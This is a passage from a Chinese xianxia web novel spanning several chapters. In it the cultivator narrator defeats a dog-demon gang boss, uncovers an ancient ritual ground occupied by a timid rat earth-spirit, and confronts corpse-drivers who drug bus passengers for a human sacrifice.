“你也不是普通人!”乔三睁大眼睛,震惊的盯着我,他的速度非常快,一个侧身躲了过去。
我这一拳轰在了墙上,直接给墙轰倒了一片。乔三吓了一跳,把枪扔在地上就要跑。
结果。
我是没打到他,他却被陆小旺的小泥人给绊倒了。
我愣神,但马上又恢复了正常,一个‘行’字步,一拳轰在他腿上。
嘎巴。
以我这个力道,能把他腿轰碎了。但乔三确实有两下子,他身上的那杀气凝聚,扛了下来。腿断了,但他还能起来跑。
“三爷!”随着乔三逃了出去,门口突然进来一堆人,手里拿着各种的家伙事,见我就要动手。
情况危急,我不能退,因为侧面就是陈红他们。索性,我迎了上去。
那人反应慢,刚要开枪,我已经在他面前了。接着,我当着他的面把枪掰断,一拳轰在了他肚子上,第二拳轰在脑子上,不知道死活。
见第一个人倒下了,其他几个人面面相觑,但还是有不怕死的,朝我开枪。
躲过之后,我后发制人,直接把他胸口轰碎了,一口鲜血喷出,跪在了地上。
**!
这下子,乔三的几个手下都吓坏了,全都挤着要出去。
等人都走了,我没跟出去,而是把门关上,把几个女人脖子上的锁链扯断。
陈红说,“我带来的人都**了,是土鼠低三下四地求他们,这才救了我。那乔三很可怕,力大无穷,比张坤还要吓人。他把尸体都喂了狗。这几个姑娘都是他刚抓来的,想要当做生……人的工具。”
我说,“土鼠说你们来这找大墓?”
陈红点头,“是。但被骗了,那根本不是啥大墓,那是个道场。好像跟这个乔三有关系,我们是倒霉,碰上他们了。这些人是亡命徒,凶狠,不讲道理。”
我点了点头说,“我把后墙轰开,你们从后面走。有人会接你们。”
说完,我看了小泥人,这话也是说给她听的。见小泥人点头,我二话不说,八成里,直接把后墙跟结界都轰碎了。
“那个……旁边还有人呢,也是被抓进来的。”其中,有个女人说。
“去**,你想死,那就留在这。”说完,我就冲了出去。
说实话,**哪都有,你看,这就碰上了。我来这只是为了救陈红,其他人,哪怕是土鼠**,那都跟我没关系。
结果呢,救了她们,还在这跟我谈条件?**。
眼下的情况说简单也简单,说复杂也复杂,这狗场的人不少,手里还有家伙事。我跟陈红一起跑,危险太大了。
要是十几个人追我们,还拿枪,但凡一个不留意,**是不长眼的,伤到了陈红我就白了。
所以,我冲出去,吸引注意力,这样我也能逃出去,外面有陆小旺照应,事情也变得简单了。
还有嘛。
我得救土鼠。
一开始我觉得这家伙有猫腻,现在看来并不是,小队的其他人都**,他能周旋到现在,保住陈红,足以证明他的忠心。
唰唰唰。
我刚露面,十几把枪都对准了我,但他们都没开枪,而是看向了一瘸一拐的乔三。
再看地上,土鼠双手被废掉,人倒在那,一群狗虎视眈眈的。
“兄弟,牛啊,俺这人喜欢大才,跟俺,金子还你,那女人你带走。”乔三说。
我说咋不开枪呢,这是打算拉拢我。
嗖嗖。
我没有废话的习惯,二十根银针甩了出去,那些拿枪的小弟都动弹不了了。
倒是乔三,我那银针居然被那杀气给挡住了。
但很显然,乔三没有察觉到,还在那等我答复呢。
“你不是人?”我突然意识到了什么。从一开始,我把这人当成张坤那种修道步入歧途的人了。
现在看来,他已经超脱了人的范围,那团杀气,那就
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不是人能拥有的。那就是它的本体。
“老弟,俺给你机会了,你不要脸!”乔三大口地喘着粗气,说话的声音也越来越重。
它怒了。
他的脸上青筋暴起,眼球凸出,那杀气直接卷在了它身上。
人?
倒是沾点边。
因为它跟人一样直立行走,但身上全都是锃亮的毛发,那头就是个凶神恶煞的狗头。
“呕!”
乔三的小弟应该是不知道乔三的情况,看到乔三那怪物的样子,肝胆欲裂。
哪怕被我点了穴,也吓得呕吐起来。
其中,有人直接吓得晕**。
汪汪汪!
原本那些虎视眈眈的狗,一个个也都蜷缩在角落,被这一幕吓到了。
“你,坏俺好事,俺吃了你,吃了你,啊!”乔三身体像是撕开了似的,狂长半米,那硕大的头颅要把我咬碎了。
“狗东西。”我是真不知道这玩意是啥,但它嘛,那力量应该有筑基期。
陈红的感觉没错,它确实比张坤还要恐怖,因为他不是人。
不过在我这不够看的。我迎着上去,加持一个‘靈’字。
当下没有了‘陈红’,我也就没了顾忌,朝着对轰过去。
咔嚓。
结果,直接把那狗牙轰断了。
“你到底是啥怪物,我居然伤不到你!啊啊啊!”那狗头疯狂地摇晃,它眼睛已经猩红,死死的盯着我。
接着,它发泄似张开血盆大口,把他的手下一个个都吃了下去,然后似乎还觉得都不够,又把那百条狗给一个个吞了。
呼!
转瞬间,院里面卷起了狂风,它的身体又有了新的变化。
那些杀气猩红,周围的空间都在震荡,血雾遮掩。
它的额头上长出了一个犄角,有点像家里吃的那种生姜,原本还有点人样的狗头,鼻子嘴巴彻底狗化,满嘴的獠牙更鲜明了。
我眯了眯眼睛,之前它的气息有点模糊,就是那种实质化的杀气,感觉就是个杀孽多了的人。
现在嘛!
虽然我觉得它不太强。
但它的气息。
居然跟老阴山的山尸有点像。
……
第一百六十一章道场(加更第四更求票)
我警惕。
从我醒来,这是头一次碰到跟老阴山那山尸同样气息的怪物。
铛铛铛。
我正打算动手呢,结果我身子一动弹,兜里那铃铛响了。
“啊啊啊!”下一秒钟,这怪物捂住了耳朵,疼得在地上打滚。
事发突然,这绝对是个意外。
随后,我拿出了那铃铛,在它面前晃了晃。
“啊啊啊!”它的惨叫声震耳欲聋,七窍流血了?
再然后,它化作了一滩血谁,直接蒸发了。
我愣了愣,看着无舌的铜铃,我再摇晃,它没有响声了。
我深吸一口气,这是它第二次响,直接给我来了个大的。
嗡。
院子里的结界突然倒塌了,那猩红的空气散去,眼下这狗场除了狗味,就跟普通的农村院子没啥区别。
乔三!
被铃铛给气化了。
**!
说实话,这场面有点梦幻了,要不是看到被剁掉双手的土鼠,我都觉得像做梦了似的。
眼下我也一堆的疑问,但看到土鼠的惨状,我急忙拿医玉救他。
土鼠不单单被躲了双手,身上还被狗咬掉了皮肉,好在医玉帮他止血了,他的状况好了很多。但那被剁掉的手,医玉没办法给他接上,只能先止血,到时候他去医院想办法。
“谢,谢谢您大师。”土鼠还有些虚弱,我把他的手仍在他怀里说,“自己人,不用客气。我们先走,然后抓紧去医院,应该能接上。”
土鼠眼睛里冒光,我们从后院就走了。在村口,我见到了陆小旺和陈红。
“那几个女人呢?”我问。
“她们都跑了。”陆小旺说。
“那个乔三呢?”陈红问。
“被冯大师弄**。”土鼠有气无力地说。刚才他应该没彻底晕死过去,所以看到了全过程。
“嗯,**。那家伙不是人,是个怪物,我觉得像个狗王。”我也不知道咋形容,只能把乔三比喻成狗王了。
这边正聊着呢,突然听到局子车的声音,威武威武的。我们四个避免麻烦,所以没露头。
很快,村里面的人都出来了,乌央的人,全都往狗场那赶。
我耳朵尖,能听到他们说话。
应该是有人四处溜达,看到狗场里面有人求救,然后这边报了局子。
我说,“此地不宜久留,撤吧。”
陆小旺却说,“钱呢?你带了一百万金子来的啊。不要了?”
我撇了一眼那村子,摇了摇头,“就当长见识了,这里的事这么怪,我们要是露面了,那就麻烦了。”
我本来对钱的观念就不强,哪怕最近有了点想法,觉得钱很重要。但我觉得这笔钱没了就没了,把陈红救了,那就是赚的。
贪可以。
但分怎么贪。
不要太执念,特别是金钱上。没了这一百万,不见是坏事,说不准哪天自己就回来了。
反正我就是这样想的。
“呵呵,你还真大方呢。”陆小旺撇嘴,但还是同意我的观点,我们就撤走了。
再看陈红,她看我的眼神变了又变,情绪很复杂。但眼下我也没去说啥,因为先撤走再说。
从刘庄村走,但我们也没走太远,主要是我惦记陈红说的道场。
老阴山的山尸,到现在我也是一头雾水。上次去了佛子家的祠堂,那老爷子虽然跟我说了一些相关的事,但到最后也没说那山尸是咋回事。
模棱两可的,只知道很厉害。
而这次嘛,一来是铜铃又显威了,二来那乔三怪物的气息,竟然跟山尸有几分相似。
我觉得都跟那道场有关系。
来都来了,不看看,说不过去。
陈红这边有认识的人,他安排土鼠去找那人,然后去医院把手接上。
我给了土鼠塞了三千块,到了镇子上这笔钱就能用得上了,也不用担心他的情况。倒是土鼠也着急,见有了安排,自己就走了。
也不能说土鼠着急,一双手被砍掉了,换谁都急啊。
土鼠走了,陈红就拿着一张图,带我跟陆小旺在水库周围逛。
“这水库有龙气。但应该是被斩了,最终没成气候。”陆小旺发现了啥,观望后说道。
“嗯,虽然被斩了,但气息还在,是一块风水宝地。”我点了点头,此地风水相伴
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,有化龙的意思,但在水中有一道人为的山丘,硬是把它给斩了。
不过,即使这样,那一丝龙气也在,成了一方不错的洞天福地。
所以,陈红说有道场在这,我觉得是真的了。
“可惜了,这是一条真龙,虽没有山脉,但水龙成了气候,那是能腾云驾雾的,能比肩海龙王的。哎,这被斩的不仅仅是一个龙,还是一尊帝王。”说完,陈红看向了刘庄村的方向说,“要不然,这地方了不得,历史上,会出现一个帝王。”
对于陈红的话,我是新的,别看陈红二人转出身,但她很牛的,懂的东西不比我少。
但没办法,她懂得多,自身实力不够,所以才会被牵着鼻子走。
命也。
“找到了,这边。”我还在感慨呢,陈红突然指着十米开外的一处浅滩。
我急忙走了过去。
浅滩这边貌似也没啥特别之处,就是个到处都是鹅软石的沙滩。
因为常年被水冲洗,这地方很宽,很广,给人一种空旷感。
“这里就是嘛?感觉没啥特别之处。”陆小旺走到了河岸上,踢了踢鹅软石说道。
“应该没错。资料上说这地方是个大墓,经线纬线,都是绝佳的位置。但最近我想明白了,这不是大墓,是道场,古人的道场。他们葬在了这,所以被误会成了墓。”陈红虽然这样说,但显然也不自信,因为周围实在是看不出来啥。
“道场……”我念叨了一句,随后想到了乔三,一个人变成那种怪物,要是没有外力,几乎是不可能的。
就算那个魔修,哪怕他吃活物,但气息上还是人。
所以我觉得,道场这个东西的作用,应该是影响了乔三,所以才会有那种变化。
要是这里真是道场,那肯定有影响人的东西。
“你们让开。”我对两个女人说。
在她们走到我身后,我催动道力,猛地朝道场之中扇了过去。
咕隆隆。
那道场里面的石头,被我扇到了河里,随着那层沙子也滚落后,底下有东西露了出来。
那是!
雕刻的白玉石。
……
第一百六十二章黄金回来了,还大赚(五更)
那白玉石四四方方的,一块就有四米多,上面刻有符文,但因为河水沙子的冲洗,那些符文看起来有些模糊,白玉石也变得粗糙,没了往日的风采。
一块,两块,十块,百块……随着我用道力扫开了越来越多的砂石,足足百块白玉石显露出来。
这里!
真的就是一片道场。
“我的天啊,真的是道场。这么多的白玉石,如今恐怕只有天师府,龙虎山这种道教才有吧。”陆小旺深吸一口气,也被震惊得不得了。
“我要是没记错的话,白玉石,乃是蕴含正气之石。但那个乔三,怎么会沾染邪气?还成了怪物。”陈红泼了一盆冷水。
“难道说,这地方染了邪气?”陆小旺一只脚踩上了白玉石,但又急忙地把脚缩了回去,小心谨慎。
我运转道力,催动双眼,踩在白玉石上四处看了看。
我摇头道,“这白玉石已经被风化了,里面早已经没了正气,它现在崔如泥沙,稍微用点力就能破坏掉。”
我一边说着,一边看向那些符文印记,这些应该不是道教文字,但因为太过模糊,我也看不出个所以然。
但是我能感受到,这些符文印记曾风光过,它们似乎跟天道有关。
“难道,在这白玉石下面?”陈红突然提出了一个疑问。
白玉石下面?
这个我倒是没想到。因为我开了道眼,但还是没看到那所谓的邪气。
陈红的话给我提了个醒,能不能是白玉石挡住了我的眼睛?
“你们退后,别上来。”见她俩要上来,我摆了摆手,两个女人又缩了回去。
我深吸一口气,再度挥动着道力,这些白玉石直接化为了尘沙冲进了水里。
有东西!
下一秒钟,我急忙跳到了陆小旺她们俩身边。
因为在这白玉石下方,突突地往出冒邪气,放眼看过去,这地方现在就跟有毒的沼泽气一样。
“咋了?”陈红问我。
“我感觉,冷飕飕的呢。”陆小旺应该也看不到这邪气。
我说,“这地方有古怪,我把白玉石毁掉之后,下面全都是黑气。就跟沼泽地似的。”
陆小旺擦了擦额头上的汗,“不应该啊,道场的话,正气凛然,就算废弃了,污浊气息也进不来。”
我灵光一闪,“万一这不是道场呢?万一,这本就是个洞天福地呢?”
我想到了老阴山的布局,那不就是龙脉,洞天福地,然后藏着一个山尸吗?
这里的话,会不会也是一样的布局,只不过龙脉被斩,弄得不伦不类的。
山尸!
山神!
我突然有些明白乔三是啥东西了,他是山神!
另一种形式的山神!
也是另一种形式的山尸!
当然,我这个说法也不对,因为佛子家中的前辈说过,这玩意不是山神,是拥有仙能力的东西。
“能不能是……土地爷?”陈红突然插了一嘴。
我和陆小旺都看向她,我疑惑,“土地爷?是神话小说中的土地吗?”
她摇头,“那是电视上演的,我们这行有个说法,不动龙脉土,不翻神仙地,远山可探,仙山莫碰。其中神仙地,就是有土地神仙的地方。这里的土地神仙可不是啥好东西,都是大邪物。我曾下墓的时候见过……那是个棺中尸,**的棺中尸。”
陈红能在她这行活到现在,那都是有本事的。我信了六成。
陆小旺也说,“这个说法我也听到过。我的一个朋友,他也是倒斗的。也说过这种事。她说,让我小心点,要是碰到叫‘土地’的东西一定远离。说这玩意不是一种生物,而是‘一类’,邪门呢。”
我没说话,而是安静地看着那些黑气。说来也奇怪,这会有风,但那些黑气没有半点摆动的迹象,就在这道场这么大的地方往上冒。
我喃喃自语,“差远了,跟老阴山差远了。”
老阴山的那山尸,身上也没有呲呲冒黑气,但那玩意的恐怖,不是这能比的。
眼下我也确认了,这地方就是弱一大圈的老阴山,乔三,应该跟山尸附在安然身上差不多吧。
“大老鼠!”就在这时,陈红突然叫道。
我疑惑,朝着她手指指的方向看了过去,果然,我在那看到了一只特别特别大的老鼠。
半人高,灰不溜秋,一双老鼠眼睛贼溜溜的。它最引人注目的是尾巴,特别特别的长,老鼠身子一米多,那尾巴有一米半。
它!
在盯着我们!
咋说呢!
我们在对视,我们都尬住了。
“它背上的箱子,咋
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有点熟悉呢?”随后我睁大眼睛说,“这不就是我带过来的一百万黄金吗?咋在它身上?”
听我这么一说,陆小旺说,“好像还真是?没错,就是那一百万的箱子。你看,它身上还挂着玉手镯,那是上好的祖母绿。还有呢,一箱子首饰?冯宁,干它,爆金币!!!”
陆小旺不愧是见钱眼开,直接冲了上去。那大老鼠直接傻了,一动不动的。等陆小旺过去,一拳给打翻在地,在那吱呀吱呀的。
看到陆小旺爆了一堆金币,我也冲了过去,但随后,我却警惕了起来。
这大老鼠身上有山尸的那种气息。
但它!
似乎没有威胁?
没有其它的力量?
“别打了……”见陆小旺还要揍她,我急忙制止。
“打妖怪啊,机会难得,何况它很弱,我就喜欢欺负弱小。”陆小旺兴奋道。
我无语了,这女人有的时候真是脑回路清奇。
好在我的话管作用,她没在动手,我看着那被打到流泪的大老鼠,也是有点不知道说啥了。
我看了看远处那邪气,又看了看它,我大致明白了,我说,“你是想带着财宝回家的吧?”
它一边哭一边点头。
我说,“你是这的土地?”
它点头。
而眼下,陈红和陆小旺都张大了嘴巴,刚才她俩还说土地神仙多厉害呢。结果,这懦弱的大耗子的出现,给她俩一人一个大巴掌。
我突然想到了一种可能,然后我问他,“你是土地神仙,但你不会任何的邪术对吧?”
它点头。
我又说,“你是被乔三抓住了,他拿你修炼成了怪物?”
它点头如捣蒜,眼神也清澈了。
果然是这样。
这玩意貌似就是传说中能用来修炼的生灵。
而它这种是邪修最喜欢的邪物生灵。
我看了它一眼,又看了看我的那箱金子,还有乔三的金银珠宝,我说道,“你身上的那些东西是我的。”
大老鼠委屈,但只能点头。
陆小旺来了一句,“要是这样的话,那白玉石底下是不是它家啊?你把它家给拆了!”
闻言,大老鼠愣住了,然后晃动着身体朝那边走去,结果,就听到后面传来了‘哇’的一声哭声。
……
第一百六十三章我得野心
那哭声撕心裂肺,就跟个孩子被人抢了玩具,要多委屈有多委屈。
这种事我也是头一遭,很难想象,乔三凭着吸它的气息,硬生生的吸成了筑基期。
结果,这家伙一点本事没有,倒是哭得让我都觉得愧疚。
我向来觉得动物最纯粹,连我都有点愧疚了,走了过去,看着它趴在黑气里,哭得那叫一个伤心,我说,“这都是误会,这原本是个道场,没想到下面是你家。”
闻言,它哭的更伤心了,趴在那不起来。
我说,“这样吧,我给你一点补偿。”
说完,我一道道力打在了它身上,我在给它开智。
大老鼠愣住了,倒是没那么委屈了,那贼贼的眼睛盯着我,又看了看陆小旺。
我说,“她也不是有意的。那个乔三坏事做尽,她把你当坏人了。”
大老鼠盘坐,抱着肩膀,撇了撇嘴。
我心想,陆小旺还真是下手没轻没重的,把人家大老鼠的脸都打肿了。
我想了想,又赐了它一道愿力。
结果,大老鼠突然趴在地上,给我磕头谢恩。
临走之际,我看到它在那忙碌,把原本的沙子鹅软石,一点点地又搬了回来,盖上了那黑气,然后它又钻了回去。
还别说,那些黑气真的被掩盖住了。
从水库离开,我们直接去了镇上,眼下天色晚了,我们找了个小旅馆睡了。
说来也巧,小旅馆就一个房间。我们没想那么多,折腾了两天,早点睡就行。
两个女人先进去的,等我进去,那老板给我一个劲的使眼色,看上去有点猥琐。
我有点奇怪,这老板眼睛有问题吧,但我也没想太多,进去就躺下了。
“呼,我这次真的觉得要栽了,那家伙,**如麻。冯宁,谢谢你。我,没想到你会拿一百万的黄金救我。”陈红也躺在了床上,条件有限,也不能洗澡,今晚只能对付。
“这倒是稀奇事,这个家伙,印象里很高冷的呢。陈红姐姐,你说他会不会对你有意思啊。”陆小旺根本不知道我俩的关系,在那胡乱猜测。
陈红脸红了,“那太好了,女人,不就是希望被男人保护嘛。”
两个女人在那说话,我没有搭茬。我的脑子里想的是大老鼠的事。
暂时的情况已经很明显了,大老鼠是这块地方的土地,跟山尸拥有同样的气息。但是,它却是没有啥能力,就跟玩具一样,被人抓住被人吸气。
但这玩意生命力极强,貌似被吸了也没事,还能把乔三的财宝都偷走。
真是个哭笑不得的家伙。
“冯宁,我要是没看错的话,你在给这大老鼠开智吧?这种生灵要是生出了人一样的思维,那是很危险的。你不怕,它真的成为个精怪嘛?”陆小旺见多识广,倒是看出了我的意图。
可见,这女人的成长,出乎了我的意料。
“你把人家揍了,这家伙就在那哭,都没想着报复你,你觉得,它会变得十恶不赦嘛?”我说。
其实说实话,我给它开智,也是一个无意识的举动。我总觉得这是个善良的家伙,虽然活在那种气息中,但不代表它就是坏的。
我想到了陈皮,陈皮的心地也不坏,如今成了**,还是那种纯粹的性格。
所以说,动物比人更善良,更懂得感恩。我给了它一道愿气,一来是保护它,二来我觉得是点化它,三来我也有私心,觉得应该结一份缘分。
至于结果,鬼知道会啥样。
陆小旺想了想说道,“或许不是吧,谁又知道呢。”
“呼呼呼。”随着陆小旺把话说完,陈红那边已经有了呼噜声。看来,这女人这几天真的没休息好。
接着,陆小旺也睡着了,长途跋涉,她也累了。
然后就是我了,虽然不困不累,但有点疲乏。那乔三真抗揍,我也耗费了不少精力。
第二天一大早,我们三都起来了,踏踏实实地睡了一觉,大家都很精神。
我们去退房,那老板眉飞色舞地,小声跟我说,说我少侠好体力,他就不行了,年纪上来了,这方面差着。
我听得云里雾里的。
吃过早饭,陈红跟我要了一千块钱,先去打了个电话,之后说她要先
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去洛城,因为土鼠在那治疗。
我也没拦着,她就跟我们告别走了。临走之后,小声在我耳边说,等她回黑城再好好伺候我。
女人啊,永远能刺激男人,几句话,我差点想当街犯错。
我跟陆小旺没急着走,这次,我决定对她好点,所以我出钱,让她在豫省转转,全当是额外的报酬了。
陆小旺很开心,我们就从这镇子开始四处逛。还别说,镇子虽然不大,但古色古香的,空气新鲜,景色宜人。
在一处小巷里,我顺便跟陆小旺提了一嘴,我说,“要不要一起赚钱?”
陆小旺有些诧异,“你是说,我们组合?”
我点头,“嗯。陈红你也看到了,她现在就给我做事呢。但你跟她还是有区别的,我不给她钱,但我做她背后的人,出了事,我顶出去。你跟我嘛,我们合作,有事一起做,钱的话我给你五分之一。但你不要小瞧的这笔钱,我每一单,最少十万。”
陆小旺站在青石台阶上,她抱着肩膀说,“确实不少了,十万,我能拿两万。”
见她在考虑,我又说道,“除此之外,要是没有生意,我每个月保你三千。这样你也不用给你爷爷烧纸愁得慌了。”
陆小旺虽然不是很强的,但是我觉得我俩是最搭的。既然我决定收了她,那就投其所好,谈钱!
人应该现实点,我也不喜欢说一些大话,所以钱最实惠。另外这姑娘聪明,我想把她弄到我家这边,有些麻烦,她觉得她比我解决得要好。
就像我爹我娘的事,到时候她帮我安排一下,可能比我要周到。
陆小旺笑了,“你是个好老板,成交。不过我有一个疑惑,我记得你应该是一个,喜欢独来独往的人吧?你找我?是想把这门生意做大吗?”
面对陆小旺的疑惑,我简单道,“并不是,赚钱不是我的目的,往高的位置走,那才是我最终的想法!”
还有一句话我没说出来。
那就是!
我想爬到金字塔尖上去看这个世界!
前提!
我要有这个资格!
……
第一百六十四章偶遇赶尸人
陆小旺似懂非懂地点了点头。
找了个邮局银行,我把一百万的黄金存了进去。陆小旺似乎不太信任银行,但在我的普及下,她也办了存折,把从大老鼠那抢来的十万块黄金存了进去。
至于那些玉佩,银镯子,翡翠啥的。她直接就给戴上了,说是这些东西能提高品味。
反正都到银行了,我顺便把答应的那十万转了过去。
“对了,你方便去黑城那住吗?”我问她。
既然组合成立了,我觉得应该离得近一点。
“咦,你说实话,是不是馋我身子?”陆小旺却朝我挤眉弄眼的。
我白眼道,“你想多了,身子有都是。只是想方便点。”
陆小旺无语了,随后却对我说,“我说,你好歹也是有钱人,难道没打算去哈城买个房子吗?”
我愣了下,“没想过。”
她又说,“大哥,那也不会也没想过开个门面吧?”
我又愣了愣,“这个,也没想过。”
陆小旺深吸一口气,她揉了揉太阳穴,有些窒息道,“好吧,我承认败给你了。大哥,这东西想搞大,你得出名,还要有自己的场子。不是说你认识几个有钱人,就能一直通过他们赚钱的。”
经过陆小旺的这么一指引,我真觉得是那么回事。一直以来,我在黎雅啊,佛子啊他们那却是拿到了不少钱。
但貌似都是突发性的,他们也替我宣传,我也有点名气,但具体谁也不知道我长啥样。
应该就是这个原因了,没有自己的场子。
我说,“还有呢?”
陆小旺说,“还有,得取个牛逼的名字,然后我们不是看事的,不能以看事的为名义,要比看事的名头大。”
我眼前一亮,这钱花得值了。
我说,“应该还有很多细节,等我们回去在商量。”
陆小旺点头,随后却说,“冯宁,我得提醒你,一旦场子确定了,麻烦会源源不断的。要是不赚钱的话还好,要是赚钱了,同行会眼红的。你得做好准备。”
我点了点头,这种事我倒是没想过,我俩先把第一步迈出去吧。
在小镇四处溜达,突然巷口里窜出来一个人,明明没有下雨,这人却戴着个斗笠,身披蓑衣。而在他身后,跟着八个人,同样的打扮,但都低着头,看不清样貌。
“果然啊,一旦自己不正常起来,世界也会跟着癫狂。咱们前脚刚说创立场子赚钱,接着就碰到了赶尸人。晦气。”陆小旺突然说道。
“湘西赶尸人?”随着这些人路过,我确实问道了一股尸臭味。
“有时候我真的怀疑你是不是道士,赶尸人,那是道士的分支,全国到处都有,只不过湘西那边比较出名罢了。”陆小旺说。
“这个我真不清楚。他们是要把尸体赶去哪?”我疑惑。
陆小旺想了想,“豫省一带的话,大部分都是弄去冥婚的。应该是冥婚下葬的。”
听了陆小旺的话,我没有在搭茬。主要是不太好意思问了。
我觉得自己学习能力强,看的文献资料都可以堆积成小山了。
但在陆小旺这个实践者面前,知识储备量完全不够看。咋说呢,人家是实践出来的,接触过,我呢?全是资料文献,能说个一二三,但不真实。
赶尸人走后,陆小旺又拉着我四处闲逛,到了下午,她说有点没意思了,想着去邓川市玩。她说那地方可是文化古城,来都来了不能错过。
然后,我俩就坐上了大巴前往。
具体的打算是这样的,在邓川玩两三天,直奔洛城,要是能玩就再玩几天,之后飞回东北,开始我们的大计划。
六点的末班车,到邓川要十个小时,也就是后半夜了。
走了一天,陆小旺上车就睡着了,我则是闭目养神。也不知道过了多久,大巴车突然急刹车,原本睡着的人,也都醒了,一个个地抱怨。
“弄啥呢?睡都不消停。”
“好像是车坏了!”
“老乡都安静,俺去瞧瞧。”
…
这会天已经完全黑了,四周黑漆漆的,看着应该是在山里面。
司机下了车半天没动静,大家情绪都不太好。然后售票员也下去了,结果十分钟过去,也没了动静
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。
“咋啦?不会出事了吧!”
“不能,这路老走,老司机,估摸着修车呢!”
“谁说不能,俺听说,这路常年出事,前些天还撞**,吓死个人哩。”
…
大家你一言我一语,把这车里的气氛弄得很紧张。
陆小旺也醒了,一头雾水,“咋回事?碰到啥了?”
我没说话,但也有点疑惑。
就在这时,车门突然打开了,司机愁眉苦脸地走了上来,然后指了指车里对外面说,“你看,车里都满了,九个人,真装不下。”
然后就听到售票员的声音,“大半夜的,弄啥嘞,怪吓人的。谁知道好人坏人,不行,不能上车。”
司机和售票员在那吵吵,除了他们俩,也没别人说话,给人感觉有点奇怪。
乘客都好奇,有人伸着脖子往外看,但那漆黑一片,啥也看不到。
“搞快点搞快点,甭墨迹,俺还着急去城里医院呢。真气人。”说话的是个大叔,五十来岁,脸色难看。
“就是,磨磨唧唧的,以后不坐了。”一个农村大妈撇嘴。
…
这下子,车里面吵,车外面吵,大半夜就跟苍蝇围在脑子四周转似的。
情况持续了十分钟,司机上车了,坐回了驾驶员的位置,售票员也上车了,顺手要关门。
原本,司机那边已经把车给启动了,都准备走了。
啪!
就看一只手突然放在了门缝上,吓得那售票员妈呀一声。那门又被打开了。
“弄啥呢?都说不让你上车哩,你听不懂人话?”售票员生气道。
“哎呦**,俺看看谁啊?耽误俺去邓川。信不信俺揍你!”刚才那五十来岁的大叔站了起来,朝着车门那走了过去,边走边说,“知道俺谁不,周围打听打听,飞**腿小霸王,俺踢死的人,没有一百个,也有八十个。”
这会的人都淳朴,他这一说,大家都鼓掌。以至于这大叔越来越来劲,在过道就挥动拳头,一副要干架的架势。
结果。
他刚到车门口,人就立正了。
……
第一百六十五章看走眼了
“咋了哥?对面人多?不服?”随后,几个年轻人应该跟这大叔一起的,从座位上走了过去。
他们几个也一样,到了门口,站得笔直,身体僵硬了。
而原本那售票员,眼下也不说话了,机械似的坐回了她的位置。
那几个上去找事的人,也都一脸麻木地走了回去。接着,九个穿着蓑衣,戴着斗笠,全身上下捂得严严实实的人上了车。
待车门关上,司机像是没发生任何事一样,启动了车子,又继续行驶了。
“赶尸人!”陆小旺认出了几人,绣眉轻拧,脸色不是很好。
我也皱了皱眉头,大半夜的,跟一群尸体坐在同一辆车上,闻着那尸臭,放在谁身上也不爽。
但我也不是那种乱杀的人,我想的是人家应该走累了,所以坐个车。总不能因为这点事就弄他吧。
所以我也没当回事就忍了。
随着车子在动,赶尸人也没做出什么过分的举动,他们站在过道那,也不说话,也不动。
大家也都没说啥。
我觉得有点困,所以也小眯了一会。
也不知道过了多久,我觉得有人掐我。我这才睁开眼,看到陆小旺的手放在了我大腿里上,用力地掐着我。
我以为到邓川了呢,迷迷糊糊地朝着她看了一眼,结果她嘴唇抖动,那样子像是想说话,但又说不出来似的。
我疑惑她咋了?随后发现乘客们正排队下车,窗外天已经蒙蒙亮了。
这也不是邓川啊?这是个土坡?下面是个村子?
我突然就清醒了,下面确实是个村子,村口挂着白幡。
我又瞧了瞧这些乘客,他们那张脸僵硬,眼睛直勾勾的。
我看向陆小旺,小声说,“我们这是中招了?”
陆小旺眨巴眼睛,她现在除了手能动,貌似就是这眼睛了。
我催动道力,驱散了那种情绪,随后又单手结印,‘道’字真言打到了陆小旺的身上。
“呼!”
陆小旺深吸一口气,她突然就轻松了。
我说,“咋回事?”
陆小旺小声说,“我们应该是被那赶尸人下药了。这家伙道行不低。”
我皱眉,“这家伙要干啥呢?”
陆小旺,“不知道,反正不是啥好事。”
我点头,“看看再说。”
她点了点头。
随后,我跟陆小旺也都排队下了车。然后就看到赶尸人在跟一个男人说话。
两人站在大约两米开外。
赶尸人说,“你们这次要的尸体比较多,我就弄了八个货。实在凑不上了,抓来一车人,你挑挑吧。”
男人兴奋地搓手,“有没有漂亮的姑娘,最好是大姑娘,没破过身子的。”
赶尸人说,“有两个,应该是没破过的。你回去可以拿香灰试试。”
男人激动,“哈哈哈,辛苦了。先生,这是任老爷给您的金条,这个嘛,是我给您意思意思。”
赶尸人把一大一小的两根金条塞进了怀里,“去挑吧,挑完剩下的还得还回去。”
男人说,“好,这就挑,活人祭祀,还是头一遭呢。”
说完,两个人就凑了过来,而男男人的脸,也看得清楚了。这家伙能有四十来岁,瘦不拉几的,相貌丑陋。
咋说呢,我很少评价男人丑,因为在我眼里,男人长相都差不多,只不过有的好看点,有的壮实点,但眼前的这个家伙脸上全是麻子不说,还有好几个大痦子,其中一个痦子上还有很长的**。
这都不算啥,他斜眉歪眼,一口的烂牙,根本没法形容。
眼下,因为听到他们的对话,我也大致知道了啥情况。貌似他们要拿**来祭祀,但是凑不上数,所以这赶尸人把这一车活人弄到这,以活人充当**。
再说这个奇丑无比的男人,他应该是有私心,想要抓个女人回去。
暂时,应该就是这种情况了。
男人还真的挑上了,大巴车上大约二十六七个人,他从头看到尾,最后选了一男一女,说是充当**用。
然后,等他走到我跟陆小旺这以后,他看陆小旺的眼神直接挪不动眼睛了。
一脸猥琐,声音像是个老太监,“这个好,这个真好,
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当我婆娘,给我生娃。”
赶尸人说,“既然这样,那就带走吧。回去跟任老爷说,交易完成了,祝他祭祀成功。”
丑八怪呲着大牙,晃动着脑子,然后就要朝着陆小旺的胸口抓了过去。
我没忍住,一脚踹了出去,这丑八怪倒栽葱似的倒在了地上。
然后就听他在那,“哎呀,哎呀,咋还有醒的啊。”
赶尸人也愣了下,但他反应很快,突然从兜里拔出了刀子,朝着我的脑袋就砍了过来。
我后退一步,心想,这逼是真特么人狠话不多。
见我躲了过去,又一刀子劈了过来。他的速度极快,出手毫不拖泥带水,刀刀致命。
铿!
我灵犀一指,夹住了刀子,随后催动道力,一拳轰了过去。
赶尸人愣住了,但他的动作却没有停下来,而是从怀里掏出了一包药粉朝我拳头扔了过来。
结果,我那一拳被他给化解了。
“他要跑!”陆小旺突然说道。
我也看出了他的意图,我刚要追上去。他赶的那八具尸体朝我扑了过来就要一顿乱咬。
我急忙后退半步,看到那赶尸人已经跑远了,情急之下,我一拳把这些尸体都轰了个粉碎。
然而,就是这刹那间,那个赶尸人已经没了踪影,连气息都不见了。
